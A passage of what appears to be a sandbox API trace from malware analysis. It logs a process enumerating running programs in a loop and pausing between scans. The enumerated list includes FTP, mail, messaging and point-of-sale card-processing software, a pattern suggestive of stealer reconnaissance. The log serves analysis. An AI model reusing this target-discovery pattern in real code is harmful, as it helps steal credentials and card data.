szExeFile="dllhost.exe")) returned 1 [0209.071] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.073] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0209.074] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0209.076] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0209.078] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0209.080] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0209.081] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0209.083] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0209.085] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0209.087] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0209.089] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0209.091] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0209.093] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0209.095] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0209.097] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0209.099] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0209.101] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0209.102] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0209.105] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0209.107] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0209.110] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0209.112] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0209.114] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0209.116] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0209.118] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0209.189] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0209.191] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0209.193] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0209.196] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0209.198] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0209.200] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0209.204] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0209.206] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0209.208] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0209.211] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0209.216] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0209.218] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0209.220] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0209.222] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0209.225] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0209.227] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0209.229] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0209.231] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0209.233] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0209.235] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0209.237] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0209.240] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0209.242] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0209.245] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0209.246] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0209.249] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0209.254] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0209.258] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0209.263] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0209.266] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0209.268] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0209.269] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0209.272] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0209.274] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0209.276] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0209.278] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0209.280] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0209.282] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0209.284] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0209.286] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0209.288] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0209.292] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0209.294] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.296] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0209.298] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0209.300] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0209.333] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0209.337] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0209.339] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0209.343] CloseHandle (hObject=0x11c8) returned 1 [0209.343] Sleep (dwMilliseconds=0x64) [0209.367] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0209.389] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.392] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0209.395] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0209.399] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.401] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0209.405] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.409] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0209.411] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0209.421] Process32Next (in: 